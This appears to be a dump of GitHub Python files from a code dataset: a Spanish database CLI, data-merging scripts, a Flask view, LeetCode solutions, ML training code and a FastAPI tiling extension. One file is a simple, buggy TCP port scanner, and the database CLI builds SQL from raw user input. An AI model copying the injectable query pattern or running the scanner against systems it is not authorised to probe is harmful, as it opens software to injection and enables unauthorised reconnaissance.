\"4\":\r\n # Eliminación de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n condition = input(\"Ingrese la condición: \")\r\n db.delete_data(table, condition) #Al ingresar la condicion, debe hacerce de la siguiente manera: id = (id del producto)\r\n \r\n elif opcion == \"5\" :\r\n table = input(\"Ingrese el nombre de la tabla que quiere consultar: \") \r\n query = db.execute_query(f\"SELECT * FROM {table}\") \r\n for row in query:\r\n print(row)\r\n \r\n elif opcion == \"6\":\r\n # Salir del programa\r\n print(\"Saliendo de la base de datos!\")\r\n break\r\n else:\r\n print(\"Opción inválida. Intente nuevamente.\")\r\n\r\n # Cierra la conexión a la base de datos\r\n db.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"FerSargiotto/ProgISPC","sub_path":"MAIN_APP.py","file_name":"MAIN_APP.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"74098292934","text":"\"\"\"\nTitle: Merge River Discharge Data of Different Storm Events\nAuthor: Javed Ali\nDate: July 20, 2023\n\nDescription:\nThis script combines data from multiple CSV files corresponding to different storm events. \nEach file contains data related to a particular storm, with the storm's name embedded in the \nfile name. The script extracts the storm name from each file name and adds it as a new column \nin the corresponding data table. All tables are then concatenated into a single dataframe, \nwhich is saved to a new CSV file, `merged_storm_data.csv`. This facilitates subsequent analysis \nby providing all data in a single, standardized format, with a clear indication of the storm \nassociated with each data point.\n\"\"\"\n\n# Import necessary libraries\nimport os\n\nimport pandas as pd\n\n\n# Function to extract storm name from filename\ndef extract_storm_name(filename):\n # Split the filename at the underscore, take the first part (the storm name),\n # then remove the file extension\n return os.path.splitext(filename)[0].split(\"_\")[0]\n\n\n# Directory where all CSV files are stored\ndirectory = \"data/CFE outputs/\"\n\n# Get a list of all CSV files in the directory that start with \"Hurricane\" or \"Tropical\"\ncsv_files = [\n os.path.join(directory, file)\n for file in os.listdir(directory)\n if file.endswith(\".csv\") and (file.startswith(\"Hurricane\") or file.startswith(\"Tropical\"))\n]\n\n\n# Empty list to store dataframes\ndfs = []\n\n# For each CSV file\nfor file in csv_files:\n # Read the file into a dataframe\n df = pd.read_csv(file)\n\n # Extract the storm name from the file name\n # os.path.basename(file) gets the filename without the directory\n storm_name = extract_storm_name(os.path.basename(file))\n\n # Add a new column to the dataframe with the storm name\n df[\"storm_name\"] = storm_name\n\n # Add the dataframe to the list of dataframes\n dfs.append(df)\n\n# Concatenate all dataframes in the list into one dataframe\n# ignore_index=True reassigns row indices in the combined dataframe\nfinal_df = pd.concat(dfs, ignore_index=True)\n\n# Save the final dataframe to a new CSV file\n# index=False prevents pandas from writing row indices\nfinal_df.to_csv(\"data/cfe_merged_storm_data.csv\", index=False)\n","repo_name":"javedali99/si2023-compound-flooding","sub_path":"notebooks-scripts/merge_all_storms_data_cfe.py","file_name":"merge_all_storms_data_cfe.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10254014645","text":"import logging\n\nfrom flask import current_app, jsonify, Response\n\nfrom flask_logging.services import user as user_svc\n\nlogger = logging.getLogger(__name__)\n\n\n@current_app.get('/api/user/list')\ndef get_user_list() -> Response:\n logger.info('Get user list in view.')\n\n user_list = user_svc.get_user_list()\n users = []\n for user in user_list:\n users.append({\n 'id': user.id,\n 'username': user.username,\n })\n\n return jsonify(users=users)\n","repo_name":"jizhang/blog-demo","sub_path":"flask-logging/flask_logging/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"70057992454","text":"# Reverse a given number and return true\r\n# if it is the same as the original number.\r\n\r\na= int(input(\"Enter a number\"))\r\nsecret_no= 79\r\nif a == secret_no:\r\n stri = str(secret_no)\r\n # reversed_str= stri[::-1]\r\n reversed_str= stri[::-1]\r\n reversed_no = int(reversed_str)\r\n print('True')\r\n print(\"The Reversed NUmber is :\",reversed_no)\r\n\r\nelse:\r\n print('False')\r\n\r\n","repo_name":"Diti06/PythonAssignment","sub_path":"assignment_programs/ass_8.py","file_name":"ass_8.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41233394344","text":"# Imports\nfrom torch.optim import optimizer\nimport os\nimport copy\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom tqdm import tqdm\nimport numpy as np\n\n# Custom imports\nfrom libs.core.TailCalib import model as base_model # Note that we are trying to inherit the TailCalib (which in turn inherits core_base) instead of just core_base\nfrom libs.utils.utils import *\nfrom libs.utils.logger import Logger\nimport libs.utils.globals as g\nif g.wandb_log:\n import wandb\n\nclass model(base_model):\n def batch_forward(self, inputs):\n \"\"\"Batch Forward\n\n Args:\n inputs (float Tensor): batch_size x image_size\n \"\"\"\n # Calculate Features and outputs\n if self.accumulation:\n self.features = self.networks[\"feat_model\"](inputs)\n self.features = F.normalize(self.features, dim=1)\n else:\n self.features = inputs\n\n self.logits = self.networks[\"classifier\"](self.features)\n\n def train(self, retrain=False):\n \"\"\"Main training \n\n Args:\n retrain (bool, optional): Incase of retraining different dataloaders are used. Defaults to False.\n \"\"\" \n phase = \"train\"\n print_str = [\"Phase: train\"]\n print_write(print_str, self.log_file)\n\n # Inits\n best_acc = 0.0\n best_epoch = 0\n self.retrain = retrain\n self.end_epoch = self.training_opt[\"num_epochs\"]\n self.accumulation = False\n self.accumulation_step = 1\n\n # Initialize best model and other variables\n self.best_model_weights = {}\n for key, _ in self.config[\"networks\"].items():\n if self.config[\"networks\"][key][\"trainable\"]:\n self.best_model_weights[key] = copy.deepcopy(self.networks[key].state_dict())\n\n # Loop over epochs\n for epoch in range(self.start_epoch, self.end_epoch + 1):\n # global config\n g.epoch_global = epoch \n\n # \"Accumulate features -> Generate points -> Prepare a new dataloader\" cycle.\n self.accumulate(phase=\"train\")\n self.generate_points(tailcalibX=True)\n self.prepare_updated_dataset(include_generated_points = self.config[\"pg\"][\"generate\"])\n data_load = self.my_dataloader[\"train\"]\n\n # Switch to train mode\n for key, model in self.networks.items():\n if self.config[\"networks\"][key][\"trainable\"]:\n # only train the module with lr > 0\n if self.config[\"networks\"][key][\"optim_params\"][\"lr\"] == 0.0:\n model.eval()\n else:\n model.train()\n\n # Empty cuda cache\n torch.cuda.empty_cache()\n\n # Step the schedulers\n if self.model_scheduler_dict:\n for key, scheduler in self.model_scheduler_dict.items():\n scheduler.step()\n if self.criterion_optimizer_scheduler:\n self.criterion_optimizer_scheduler.step()\n\n print_write([self.training_opt[\"log_dir\"]], self.log_file)\n\n # print learning rate\n current_lr = self.show_current_lr()\n current_lr = min(current_lr * 50, 1.0)\n\n self.step = 0\n total_preds = []\n total_labels = []\n for inputs, labels, _ in data_load:\n # Break when step equal to epoch step\n if self.step == self.epoch_steps:\n break\n\n # Force shuffle option\n if self.do_shuffle:\n inputs, labels = self.shuffle_batch(inputs, labels)\n\n # Pushing to GPU\n inputs, labels = inputs, labels.cuda()\n\n with torch.set_grad_enabled(True):\n # If training, forward with loss, and no top 5 accuracy calculation\n self.batch_forward(inputs, labels, phase=\"train\")\n self.batch_loss(labels)\n self.batch_backward()\n\n # Tracking and printing predictions\n _, preds = torch.max(self.logits, 1)\n total_preds.append(torch2numpy(preds))\n total_labels.append(torch2numpy(labels))\n\n # Output minibatch training results\n if self.step % self.training_opt['display_step'] == 0:\n\n minibatch_loss_classifier = self.loss_classifier.item() if 'ClassifierLoss' in self.criterions else None\n minibatch_loss_embed = self.loss_embed.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_embed_proto = self.loss_embed_proto.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_embed_biasreduc = self.loss_embed_biasreduc.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_total = self.loss.item()\n minibatch_acc = mic_acc_cal(preds, labels)\n\n\n print_str = ['Epoch: [%d/%d]'\n % (epoch, self.training_opt['num_epochs']),\n 'Step: [%d/%d]' \n % (self.step, self.epoch_steps),\n 'Minibatch_loss_embedding: %.3f'\n % (minibatch_loss_embed) if minibatch_loss_embed else '',\n 'Minibatch_loss_classifier: %.3f'\n % (minibatch_loss_classifier) if minibatch_loss_classifier else '',\n 'Minibatch_accuracy_micro: %.3f'\n % (minibatch_acc)]\n print_write(print_str, self.log_file)\n\n loss_info = {\n 'epoch': epoch,\n 'Step': self.step,\n 'Total': minibatch_loss_total,\n 'Embedding (Total)': minibatch_loss_embed,\n 'Proto': minibatch_loss_embed_proto,\n 'BiasReduc': minibatch_loss_embed_biasreduc,\n 'Classifier': minibatch_loss_classifier,\n }\n\n self.logger.log_loss(loss_info)\n\n # wandb logging\n wandb_log({\"Training Loss\": minibatch_loss_total})\n\n # batch-level: sampler update\n if hasattr(self.data[\"train\"].sampler, \"update_weights\"):\n if hasattr(self.data[\"train\"].sampler, \"ptype\"):\n ptype = self.data[\"train\"].sampler.ptype\n else:\n ptype = \"score\"\n ws = get_priority(ptype, self.logits.detach(), labels)\n\n inlist = [indexes.cpu().numpy(), ws]\n if self.training_opt[\"sampler\"][\"type\"] == \"ClassPrioritySampler\":\n inlist.append(labels.cpu().numpy())\n self.data[\"train\"].sampler.update_weights(*inlist)\n\n # Clear things out (optional)\n del inputs, labels, self.logits, self.features, preds \n\n # Update steps\n self.step+=1\n g.step_global += 1\n\n # epoch-level: reset sampler weight\n if hasattr(self.data[\"train\"].sampler, \"get_weights\"):\n self.logger.log_ws(epoch, self.data[\"train\"].sampler.get_weights())\n if hasattr(self.data[\"train\"].sampler, \"reset_weights\"):\n self.data[\"train\"].sampler.reset_weights(epoch)\n\n # After every epoch, validation\n rsls = {'epoch': epoch}\n rsls_train = self.eval_with_preds(total_preds, total_labels)\n rsls_eval, _ , _ , _ = self.eval(phase='val')\n rsls.update(rsls_train)\n rsls.update(rsls_eval)\n\n # Reset class weights for sampling if pri_mode is valid\n if hasattr(self.data[\"train\"].sampler, \"reset_priority\"):\n ws = get_priority(\n self.data[\"train\"].sampler.ptype,\n self.total_logits.detach(),\n self.total_labels,\n )\n self.data[\"train\"].sampler.reset_priority(\n ws, self.total_labels.cpu().numpy()\n )\n\n self.logger.log_acc(rsls)\n\n # # Under validation, the best model need to be updated\n if rsls_eval[\"val_all\"] > best_acc:\n best_epoch = epoch\n best_acc = rsls_eval[\"val_all\"]\n for key, _ in self.config[\"networks\"].items():\n if self.config[\"networks\"][key][\"trainable\"]: \n self.best_model_weights[key] = copy.deepcopy(self.networks[key].state_dict())\n\n # wandb log best epoch, train accuracy, based on best validation accuracy\n wandb_log({\"Best Val\": 100*best_acc, \"Best Epoch\": best_epoch}) \n wandb_log({\"Best train\": 100*rsls_train[\"train_all\"], \"Best Epoch\": best_epoch}) \n\n wandb_log({'B_val_all': self.eval_acc_mic_top1,\n 'B_val_many': self.many_acc_top1,\n 'B_val_median': self.median_acc_top1,\n 'B_val_low': self.low_acc_top1})\n \n wandb_log({'B_train_all': rsls_train[\"train_all\"],\n 'B_train_many': rsls_train[\"train_many\"],\n 'B_train_median': rsls_train[\"train_median\"],\n 'B_train_low': rsls_train[\"train_low\"]})\n\n print(\"===> Saving checkpoint\")\n self.save_latest(epoch)\n\n # Clear things out (optional)\n del rsls_eval\n del rsls_train\n del rsls\n\n # Resetting the model with the best weights\n self.reset_model(self.best_model_weights)\n\n # Save the best model\n self.save_model(epoch, best_epoch, self.best_model_weights, best_acc)\n\n # After training is complete, gets the classwise accuracies of all the splits and saves it based on the based model\n for i in list(self.data.keys()):\n # wandb is switched off temprorily so that the this validation loop is not logged\n g.wandb_log = False\n accs_dict , _ , _ , cls_acc = self.eval(phase=i)\n if g.log_offline:\n torch.save((accs_dict,cls_acc),g.log_dir+f\"/metrics/{i}_cls_acc.pt\")\n print(accs_dict)\n g.wandb_log = True\n\n print(\"Training Complete.\")\n print_str = [f\"Best validation accuracy is {best_acc} at epoch {best_epoch}\"]\n print_write(print_str, self.log_file)\n\n # Empty cuda cache\n torch.cuda.empty_cache()\n\n def accumulate(self, phase):\n \"\"\"Accumulates features of all the datapoints in a particular split\n\n Args:\n phase ([type]): Which split of dataset should be accumulated?\n \"\"\" \n print_str = ['Accumulating features: %s' % (phase)]\n print_write(print_str, self.log_file)\n time.sleep(0.25)\n self.accumulation = True\n\n torch.cuda.empty_cache()\n\n # In validation or testing mode, set model to eval() and initialize running loss/correct\n for model in self.networks.values():\n model.eval()\n\n # Iterate over dataset\n self.feat = {}\n self.labs = {}\n\n accum_features = []\n accum_labels = []\n\n for inputs, labels, _ in tqdm(self.data[phase]):\n inputs, labels = inputs.cuda(), labels.cuda()\n # If on training phase, enable gradients\n with torch.set_grad_enabled(False):\n\n # In validation or testing\n self.batch_forward(inputs, labels, phase=phase)\n accum_features.append(self.features)\n accum_labels.append(labels)\n\n accum_features = torch.vstack(accum_features)\n accum_labels = torch.hstack(accum_labels)\n\n for i in accum_labels.unique().cpu().numpy():\n self.feat[i] = accum_features[accum_labels == i]\n self.labs[i] = torch.full((self.feat[i].size()[0],), i).cuda()\n\n self.accumulation = False\n\n# This is there so that we can use source_import from the utils to import model\ndef get_core(*args):\n return model(*args)\n","repo_name":"rahulvigneswaran/TailCalibX","sub_path":"libs/core/TailCalibX.py","file_name":"TailCalibX.py","file_ext":"py","file_size_in_byte":12556,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"44"} +{"seq_id":"40775058695","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Rock Wayne \n# @Created : 2020-05-31 08:00:00\n# @Last Modified : 2020-05-31 08:00:00\n# @Mail : lostlorder@gmail.com\n# @Version : alpha-1.0\n\"\"\"\n# 给定两个大小相等的数组 A 和 B，A 相对于 B 的优势可以用满足 A[i] > B[i] 的索引 i 的数目来描述。 \n# \n# 返回 A 的任意排列，使其相对于 B 的优势最大化。 \n# \n# \n# \n# 示例 1： \n# \n# 输入：A = [2,7,11,15], B = [1,10,4,11]\n# 输出：[2,11,7,15]\n# \n# \n# 示例 2： \n# \n# 输入：A = [12,24,8,32], B = [13,25,32,11]\n# 输出：[24,32,8,12]\n# \n# \n# \n# \n# 提示： \n# \n# \n# 1 <= A.length = B.length <= 10000 \n# 0 <= A[i] <= 10^9 \n# 0 <= B[i] <= 10^9 \n# \n# Related Topics 贪心算法 数组\n\n\"\"\"\n\nimport pytest\nimport math, fractions, operator\nfrom typing import List\nimport collections, bisect, heapq\nimport functools, itertools\n\n\n\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def advantageCount(self, A: List[int], B: List[int]) -> List[int]:\n sortedA=sorted(A)\n sortedB=sorted(B)\n assigned = collections.defaultdict(list)\n remaining = []\n j=0\n for a in sortedA:\n if a>sortedB[j]:\n assigned[sortedB[j]].append(a)\n j+=1\n else:\n remaining.append(a)\n # print(assigned,remaining)\n return [assigned[b].pop() if assigned[b] else remaining.pop() for b in B]\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\n@pytest.mark.parametrize(\"kwargs,expected\", [\n (dict(A = [2,7,11,15], B = [1,10,4,11]), [2,11,7,15]),\n (dict(A = [2,0,4,1,2] , B = [1,3,0,0,2]), [2,0,2,1,4]),\n pytest.param(dict( A = [12,24,8,32], B = [13,25,32,11] ), [24,32,8,12]),\n])\ndef test_solutions(kwargs, expected):\n assert Solution().advantageCount(**kwargs) == expected\n\n\n\n\n\n\nif __name__ == '__main__':\n pytest.main([\"-q\", \"--color=yes\",\"--capture=no\", __file__])\n\n","repo_name":"Wang-Yann/LeetCodeMe","sub_path":"python/_0501_1000/0870_advantage-shuffle.py","file_name":"0870_advantage-shuffle.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9948312370","text":"\nimport socket\n\n\ntcpList = []\nsk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ndef scan_now(target, ports):\n landin_ip = socket.gethostbyname(target)\n\n def scanner(ports):\n try:\n sk.connect(landin_ip, ports)\n return True\n except:\n return False\n \n for items in ports:\n if scanner(items):\n tcpList.append([items, \"open\"])\n else:\n tcpList.append([items, \"closed\"]) \n\n \n flat_list = [item for sublist in tcpList for item in sublist]\n\n return flat_list\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# import nmap\n# import json\n\n# def scan_now(target):\n# #print(dir(nmap))\n# nScan = nmap.PortScanner()\n \n\n# nScan.scan(target, '23,445,3389')\n# #nScan.scan(target, '22,25,80,111,443,3389')\n# tcpList = []\n# for host in nScan.all_hosts():\n# print('Host : %s (%s)' % (host, nScan[host].hostname()))\n# print('State : %s' % nScan[host].state())\n# s1 = nScan[host].state()\n \n# for proto in nScan[host].all_protocols():\n# print('----------')\n# print('Protocol : %s' % proto)\n# lport = nScan[host][proto].keys()\n# #lport.sort()\n# for port in lport:\n# p1 = port\n# s1 = nScan[host][proto][port]['state']\n# tcpList.append([p1, s1])\n# print ('port : %s\\tstate : %s' % (port, nScan[host][proto][port]['state']))\n \n# final_list = [target,[tcpList]]\n# return final_list\n #print(final_list)\n \n\n ## To export the data in Json\n # json_string = json.dumps(final_list) \n # print(json_string)\n # with open(\"sample.json\", \"a\") as outfile:\n # json.dump(json_string, outfile, indent=4)\n # print(\"-- done ---\")","repo_name":"SidLabs-Online/Nmap_Port_Scanner","sub_path":"_scanner.py","file_name":"_scanner.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35785762284","text":"\"\"\"TiTiler extension.\"\"\"\n\nfrom typing import Optional\nfrom urllib.parse import urlencode\n\nimport attr\nfrom fastapi import APIRouter, FastAPI, HTTPException, Path, Query\nfrom fastapi.responses import RedirectResponse\nfrom stac_fastapi.types.extension import ApiExtension\nfrom starlette.requests import Request\n\nrouter = APIRouter()\n\n\n@attr.s\nclass TiTilerExtension(ApiExtension):\n \"\"\"TiTiler extension.\"\"\"\n\n def register(self, app: FastAPI, titiler_endpoint: str) -> None:\n \"\"\"Register the extension with a FastAPI application.\n Args:\n app: target FastAPI application.\n Returns:\n None\n\n \"\"\"\n router = APIRouter()\n\n @router.get(\n \"/collections/{collectionId}/items/{itemId}/tilejson.json\",\n )\n async def tilejson(\n request: Request,\n collectionId: str = Path(..., description=\"Collection ID\"),\n itemId: str = Path(..., description=\"Item ID\"),\n tile_format: Optional[str] = Query(\n None, description=\"Output image type. Default is auto.\"\n ),\n tile_scale: int = Query(\n 1, gt=0, lt=4, description=\"Tile size scale. 1=256x256, 2=512x512...\"\n ),\n minzoom: Optional[int] = Query(\n None, description=\"Overwrite default minzoom.\"\n ),\n maxzoom: Optional[int] = Query(\n None, description=\"Overwrite default maxzoom.\"\n ),\n assets: Optional[str] = Query( # noqa\n None,\n description=\"comma (',') delimited asset names.\",\n ),\n expression: Optional[str] = Query( # noqa\n None,\n description=\"rio-tiler's band math expression between assets (e.g asset1/asset2)\",\n ),\n bidx: Optional[str] = Query( # noqa\n None,\n description=\"comma (',') delimited band indexes to apply to each asset\",\n ),\n ):\n \"\"\"Get items and redirect to stac tiler.\"\"\"\n if not assets and not expression:\n raise HTTPException(\n status_code=500,\n detail=\"assets must be defined either via expression or assets options.\",\n )\n\n qs_key_to_remove = [\n \"tile_format\",\n \"tile_scale\",\n \"minzoom\",\n \"maxzoom\",\n ]\n qs = [\n (key, value)\n for (key, value) in request.query_params._list\n if key.lower() not in qs_key_to_remove\n ]\n return RedirectResponse(\n f\"{titiler_endpoint}/collections/{collectionId}/items/{itemId}/tilejson.json?{urlencode(qs)}\"\n )\n\n @router.get(\n \"/collections/{collectionId}/items/{itemId}/viewer\",\n responses={\n 200: {\n \"description\": \"Redirect to TiTiler STAC viewer.\",\n \"content\": {\"text/html\": {}},\n }\n },\n )\n async def stac_viewer(\n request: Request,\n collectionId: str = Path(..., description=\"Collection ID\"),\n itemId: str = Path(..., description=\"Item ID\"),\n ):\n \"\"\"Get items and redirect to stac tiler.\"\"\"\n qs = [(key, value) for (key, value) in request.query_params._list]\n url = f\"{titiler_endpoint}/collections/{collectionId}/items/{itemId}/viewer\"\n if qs:\n url += f\"?{urlencode(qs)}\"\n\n return RedirectResponse(url)\n\n app.include_router(router, tags=[\"TiTiler Extension\"])\n","repo_name":"developmentseed/eoAPI","sub_path":"runtime/eoapi/stac/eoapi/stac/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"44"} +{"seq_id":"70041971013","text":"import scipy.stats as st\nimport matplotlib.pyplot as plt\n\ndef getnoticep2(Summaryfilepath,outputresultfile,figname):\n\n AllCorrelationlist = []\n with open(Summaryfilepath,\"r\") as PathwayRoutefile:\n\n pathwaylists={}\n title = True\n for line in PathwayRoutefile.readlines():\n if title:\n title=False\n else:\n linedata = line.replace(\"\\\"\",\"\").strip().split(\"\\t\")\n pinformation = linedata[0].strip().split(\"]\")[1].split(\"~\")\n pathwayname = pinformation[0]\n routepart = pinformation[1]\n source = pinformation[2]\n target = pinformation[3]\n\n if not pathwayname in pathwaylists.keys():\n pathwaylists[pathwayname]={\n \"p1\":[],\n \"p2\":[]\n }\n valueintem = {\n 'source':source,\n 'target':target,\n 'valuelist':[],\n }\n for i in range(2,len(linedata)):\n valueintem['valuelist'].append(float(linedata[i]))\n\n pathwaylists[pathwayname][routepart].append(valueintem)\n \n with open(outputresultfile,\"w\") as outputfile:\n for pathwayname,routes in pathwaylists.items():\n for p2route in routes[\"p2\"]:\n title =pathwayname+\"\\tp2Source: \"+p2route[\"source\"]+\",p2Target: \"+p2route[\"target\"]\n printline=\"\"\n for p1route in routes[\"p1\"]:\n if p1route[\"target\"] == p2route[\"source\"]:\n # find original\n p1title = \"p1Source: \"+p1route[\"source\"]+\",p1Target: \"+p1route[\"target\"]\n r,p =st.pearsonr(p2route[\"valuelist\"], p1route[\"valuelist\"]) \n AllCorrelationlist.append(r)\n printline+=title+\"\\t\"+p1title+\"\\t\"+str(r)+\"\\t\"+str(p)+\"\\n\"\n if len(printline)==0:\n printline+=title+\"\\n\"\n outputfile.write(printline)\n\n kwargs = dict(histtype='stepfilled', alpha=0.3, bins=50) \n plt.figure()\n plt.hist(AllCorrelationlist, **kwargs)\n plt.savefig(figname)\n plt.close()\n\n\nif __name__==\"__main__\":\n pathwaysocrefile=\"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/RouteScore.txt\" \n P1p2fileoutput=\"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/OriginalCorrelation.txt\" \n figname = \"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/OriginalCorfig.jpg\" \n getnoticep2(pathwaysocrefile,P1p2fileoutput,figname)\n\n \n\n\n \n \n\n \n\n\n","repo_name":"Harry-Wang12/ctBuilder","sub_path":"code/Pyscript/RevisePathway/FindnoticeableP2.py","file_name":"FindnoticeableP2.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15862766859","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 16 13:55:32 2020\n\n@author: Markus\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.transforms import transforms \nimport random\nimport numpy as np\nimport math\nfrom projectutils import make_env, Storage, orthogonal_init\nimport matplotlib.image as mpimg\n\n################ Print images code\n# for i in storage.prev_obs[0,1]:\n# i = torch.transpose(i,0,2)\n# i = torch.transpose(i,0,1)\n# plt.imshow(i)\n# plt.show()\n\n\nclass Flatten(nn.Module):\n def forward(self, x):\n return x.view(x.size(0), -1)\n\nclass ImageSplit(nn.Module):\n def __init__(self,img_height,img_width,vertical_splits, horizontal_splits): \n super().__init__()\n self.img_height = img_height\n self.img_width = img_width\n self.vertical_splits = vertical_splits\n self.horizontal_splits = horizontal_splits\n \n assert( float(img_height // vertical_splits) == (img_height / vertical_splits)), \"img_heaight should be divisible by vertical_splits\"\n assert( float(img_width // horizontal_splits) == (img_width / horizontal_splits)), \"img_width should be divisible by horizontal_splits\"\n \n self.split_height = int(img_height / vertical_splits)\n self.split_length = int(img_width / horizontal_splits)\n self.image_split = []\n \n def forward(self,x):\n self.image_split = []\n \n for i in range(self.vertical_splits):\n for j in range(self.horizontal_splits):\n self.image_split.append(x[:,:,i*self.split_height:(i+1)*self.split_height,j*self.split_length:(j+1)*self.split_length])\n \n return torch.stack(self.image_split,1)\n\ndef CalculateConvDim(dimension, kernel_size, stride, padding, pool_stride, pool_kernel, pool_padding):\n if (dimension - kernel_size) % stride != 0:\n print(\"Kernel_size, Stride and image dimension does not fit.\")\n return False\n else:\n AfterConv = 1 + int((dimension-kernel_size+padding*2)/stride)\n\n if (AfterConv - pool_kernel) % pool_stride != 0:\n print(\"Pool Stride and Kernel does not fit AfterConv dimension\")\n return False\n \n AfterPool = 1 + int((AfterConv-pool_kernel+pool_padding*2)/pool_stride)\n return AfterPool\n\nclass Encoder2(nn.Module):\n def __init__(self, in_channels, encoder_out_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=4, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=576, out_features=encoder_out_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass Encoder3(nn.Module):\n def __init__(self, in_channels, encoder_out_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=3, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=320, out_features=encoder_out_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass ActionEncoder(nn.Module):\n def __init__(self, in_features, l1_features, l2_features, out_features):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Linear(in_features, l1_features), nn.ReLU(),\n nn.Linear(l1_features, l2_features), nn.ReLU(),\n nn.Linear(l2_features, out_features), nn.ReLU(),\n )\n \n self.apply(orthogonal_init)\n \n def forward(self, x):\n return self.layers(x)\n \nclass BaselineEncoder(nn.Module):\n def __init__(self, in_channels, feature_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=8, stride=4), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=4, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=1024, out_features=feature_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass BaselinePolicy(nn.Module):\n def __init__(self, encoder, feature_dim, num_actions):\n super().__init__()\n self.encoder = encoder\n self.policy = orthogonal_init(nn.Linear(feature_dim, num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(feature_dim, 1), gain=1.)\n\n def act(self, x):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x):\n x = self.encoder(x)\n logits = self.policy(x)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n \nclass DataAugmentation(nn.Module):\n def __init__(self, brightness, p_bright, contrast, p_contr, saturation, p_satur, hue, p_hue, augment_prob):\n super().__init__()\n self.p_bright = p_bright\n self.p_contr = p_contr\n self.p_satur = p_satur\n self.p_hue = p_hue\n self.augment_prob = augment_prob\n self.to_tensor = transforms.ToTensor()\n self.to_pilimg = transforms.ToPILImage()\n self.brightness = transforms.Compose([transforms.ColorJitter(brightness = brightness)])\n self.contrast = transforms.ColorJitter(contrast = contrast)\n self.saturation = transforms.ColorJitter(saturation = saturation)\n self.hue = transforms.ColorJitter(hue = hue)\n \n def forward(self, x):\n img_list = [i for i in x]\n x = []\n for i in img_list:\n if random.random() < self.augment_prob:\n i = self.to_pilimg(i)\n if random.random() < self.p_bright:\n i = self.brightness(i)\n if random.random() < self.p_contr:\n i = self.contrast(i)\n if random.random() < self.p_satur:\n i = self.saturation(i)\n if random.random() < self.p_hue:\n i = self.hue(i)\n i = self.to_tensor(i)\n x.append(i)\n else:\n x.append(i)\n \n x = torch.stack(x,0)\n return x\n \nclass PositionalEncoder(nn.Module):\n def __init__(self, d_model, max_splits = 80):\n super().__init__()\n self.d_model = d_model\n \n # create constant 'pe' matrix with values dependant on \n # pos and i\n pe = torch.zeros(max_splits, d_model)\n for pos in range(max_splits):\n for i in range(0, d_model, 2):\n pe[pos, i] = math.sin(pos / (10000 ** ((2 * i)/d_model)))\n pe[pos, i + 1] = math.cos(pos / (10000 ** ((2 * (i + 1))/d_model)))\n \n pe = pe.unsqueeze(0)\n self.register_buffer('pe', pe)\n \n \n def 